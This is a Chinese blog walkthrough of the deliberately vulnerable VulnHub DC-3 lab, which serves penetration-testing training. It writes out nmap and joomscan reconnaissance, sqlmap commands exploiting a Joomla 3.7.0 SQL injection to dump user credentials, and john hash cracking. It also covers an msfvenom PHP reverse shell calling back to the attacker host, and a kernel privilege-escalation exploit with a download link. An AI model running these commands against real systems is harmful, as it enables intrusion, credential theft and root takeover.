vulnhub通关-3 DC-3(含靶场资源)

一、环境搭建

1.环境描述

靶场描述

DC-3 is another purposely built vulnerable lab with the intent of
gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners
in mind, although this time around, there is only one flag, one entry
point and no clues at all.

Linux skills and familiarity with the Linux command line are a must,
as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always
tweet me at @DCAU7 for assistance to get you going again. But take
note: I won’t give you the answer, instead, I’ll give you an idea
about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this
probably won’t take you long at all (in fact, it could take you less
than 20 minutes easily).

If that’s the case, and if you want it to be a bit more of a
challenge, you can always redo the challenge and explore other ways of
gaining root and obtaining the flag.

题目表述概括(目标)

解释:DC3只有一个flag 找到root下的flag

2.靶场下载

下载地址

https://www.vulnhub.com/entry/dc-32,312/

在这里插入图片描述

3.环境启动

1.解压文件
在这里插入图片描述

2.在VMware中打开ova文件
在这里插入图片描述

3.接下来选择你想导入的路径,进行导入即可
在这里插入图片描述
4.注意 遇到这种报错可以忽略,点击重试继续导入
在这里插入图片描述

5.开启DC-2后,显示出登录界面就证明环境基本搭建好了
在这里插入图片描述

6.网络设置,要与攻击机kali在同一网段,要么都用NAT模式,要么都用桥接模式(我这里用是是NAT模式)
在这里插入图片描述

在这里插入图片描述

二、渗透靶场

1.信息收集:寻找靶机IP

分析

NAT网段在192.168.1.0/24,所以扫描此网段

nmap扫描存活主机

nmap -sP 192.168.1.0/24

在这里插入图片描述

2.信息收集:服务和端口探测

nmap -sV -p- -T5 192.168.1.129

命令解析

  • -sV 探测详情信息
  • -p- 探测所有端口
  • -T5 加线程 加快扫描速度

在这里插入图片描述

3.访问Web

在这里插入图片描述
发现图标是joomla框架

4.探测框架版本号

在这里插入图片描述
whatweb探测出框架类型的确是Joomla 但是没有探测出版本号

这里需要用到joomscan工具

这款工具是专门对Joomla框架进行扫描的,需要进行下载

joomscan安装

apt install joomscan进行安装即可
在这里插入图片描述

注意

注意:若安装不成功,尝试更换源

建议

建议不要使用https源,https更换源需要处理安全问题较为麻烦,我这里直接使用的http源

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

使用joomscan扫描

joomscan --url http://192.168.1.129

在这里插入图片描述

5.漏洞扫描

searchsploit Joomla 3.7.0

在这里插入图片描述
扫描到SQL注入漏洞,下面对漏洞进行利用

6.漏洞利用(SQL注入)

查找payload文件路径
在这里插入图片描述
查看payload
在这里插入图片描述

sqlmap爆破库表列字段值

注意:修改目标地址

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] --tables

在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] -T "#__users" --columns

注意:#__users有特殊字符 需要用双引号包裹
在这里插入图片描述

sqlmap -u "http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -p list[fullordering] -T "#__users" -C username,password --dump

在这里插入图片描述

john解密password

我已经爆破过了所以用show参数查看结果
没有爆破过使用

john password.txt

在这里插入图片描述

7.扫描后台地址

dirb http://192.168.1.129

在这里插入图片描述

8.登入Web后台

登入后需要根据框架特性找到文件上传点
Step1:
在这里插入图片描述
Step2:
在这里插入图片描述
Step3:
在这里插入图片描述
Step4:这里要选择php文件
在这里插入图片描述
Step5:这里我使用反弹shell 不使用菜刀 蚁剑等管理工具

9.反弹shell

创建反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=4444 R >s.php

注意:lhost写本机地址 lport写本机端口 因为shell是反弹到本机
在这里插入图片描述

上传shell

将web shell内容写入新建文件s.php
在这里插入图片描述
保存
在这里插入图片描述
shell的执行位置属于对框架的熟悉程度 或者在网络搜索

http://192.168.1.129/templates/beez3/html/

在这里插入图片描述

MSF监听反弹

进入msf
在这里插入图片描述

设置参数 进行监听
在这里插入图片描述

执行s.php
在这里插入图片描述

上线 whoami查看当前权限为www
在这里插入图片描述

10.提权

查看linux的内核版本和发行版本

在这里插入图片描述

搜索相关漏洞 经过本人测试39772.txt可用

在这里插入图片描述

打开39772.txt看看
在这里插入图片描述
获取不到github exp的同学们可以下拉到本章相关资源 我也提供了下载资源

上传39772.zip到目标主机

在这里插入图片描述

执行获取权限

unzip命令解压zip
在这里插入图片描述

解压tar
在这里插入图片描述

注意:doublepu.c执行后会生成doublepu 要再次执行doublepu
在这里插入图片描述

获取flag

在这里插入图片描述

三、相关资源

靶机地址:
https://www.vulnhub.com/entry/dc-32,312/

39772.zip
链接:https://pan.baidu.com/s/1tJr7V5ZbYMtfCLeOa40r2Q
提取码:zt2z
–来自百度网盘超级会员V1的分享

  • 15
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Brucye

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值